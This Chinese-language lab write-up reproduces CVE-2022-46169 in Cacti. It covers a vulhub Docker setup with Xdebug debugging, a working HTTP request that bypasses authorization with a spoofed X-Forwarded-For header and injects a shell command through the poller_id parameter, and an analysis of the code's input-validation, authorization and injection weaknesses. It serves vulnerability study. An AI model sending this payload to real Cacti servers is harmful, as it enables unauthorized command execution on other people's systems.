一、环境配置
1.1安装Docker
Linux
使用便捷脚本安装Docker:
curl -fsSL https://get.docker.com | sh
验证安装
验证Docker是否正确安装:
docker version
还要验证Docker Compose是否可用:
docker compose version
1.2拉取镜像
在 GitHub 上复制链接地址 vulhub。
proproxychains git clone https://github.com/vulhub/vulhub
若没有设置代理则去掉proproxychains 拉取成功后,就能可以在本地看到 vulhub 文件夹:
1.3启动容器
进入 vulhub 文件夹内部的 cacti 文件内夹的 CVE-2022-46169 文件夹,在这里面输入命令:
docker-compose up -d
然后浏览器访问
http://your-ip:8080
会跳转到登录页面。使用admin/admin作为账号密码登录,并根据页面中的提示进行初始化。
根据页面中的提示进行初始化。实际上初始化的过程就是不断点击“下一步”,直到安装成功:
这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP
的采集器。所以,我们在Cacti后台首页创建一个新的Graph:
选择的Graph Type是“Device - Uptime”,点击创建:
1.4 配置断点调试
首先物理机的 VScode 要安装好以下插件: Remote-ssh、Docker、dev containers。 在使用 Vcode 远程连接虚拟机,连接容器的时候需要用到。
以上插件安装好之后的具体步骤如下:
创建容器:
docker exec -it <your-container>
安装Xdebug
pecl install xdebug-3.1.6
docker-php-ext-enable xdebug
编辑 /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini:
vi /usr/local/etc/php/conf.d/docker-php-ext-xdebug.ini
zend_extension=xdebug
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_port=9003
xdebug.client_host=host.docker.internal
xdebug.log=/tmp/xdebug.log
安装Cacti
apt update && apt install -y wget unzip
wget https://www.cacti.net/downloads/cacti-1.2.22.zip
unzip cacti-1.2.22.zip -d /var/www/html/
chown -R www-data:www-data /var/www/html/cacti-1.2.22
重启容器
exit
docker restart cve-2022-46169_web_1
使用 VScode 连接容器
到这里环境就已经搭建好了
二、复现分析
2.1漏洞利用
完成上述初始化后,我们切换到攻击者的角色。作为攻击者,发送如下数据包:
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1 X-Forwarded-For: 127.0.0.1 Host: localhost.lan User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1
2.2 安全方面
2.2.1 输入验证
- 部分输入验证不足:
- 在
get_nfilter_request_var
和get_filter_request_var
函数调用中,虽然有一些基本的过滤,但对于某些输入,如oid
参数(在get_snmp_data
和get_snmp_data_walk
函数中),没有严格的验证。攻击者可能通过构造恶意的 OID 来进行攻击,例如利用 SNMP 漏洞进行信息泄露或拒绝服务攻击。 - 在
run_remote_discovery
函数中,$network
参数只经过get_filter_request_var
处理,没有对其进行严格的网络地址格式验证,可能会导致命令注入风险,因为该参数会被拼接到命令行中执行。
- 在
2.2.2 授权验证
- IP 地址和主机名验证:
remote_client_authorized
函数通过比较客户端 IP 地址和主机名与数据库中存储的轮询器信息来进行授权验证。但这种验证方式存在一定的安全风险,因为主机名解析可能会受到 DNS 欺骗攻击的影响,攻击者可以通过伪造 DNS 响应来绕过授权验证。
2.2.3 命令注入风险
exec_background
和exec_poll
调用:在run_remote_discovery
函数中使用了exec_background
函数执行命令,以及在poll_for_data
函数中使用exec_poll
执行脚本。如果输入参数没有经过严格的过滤和转义,可能会导致命令注入攻击。例如,攻击者可以通过构造恶意的输入来执行任意系统命令。
2.2.4 SQL 注入风险
- 数据库查询:代码中使用了
db_fetch_row_prepared
和db_fetch_assoc_prepared
等预处理语句,这在一定程度上避免了 SQL 注入风险。但需要确保这些预处理函数的实现是安全的,并且在其他未使用预处理语句的地方没有 SQL 注入漏洞。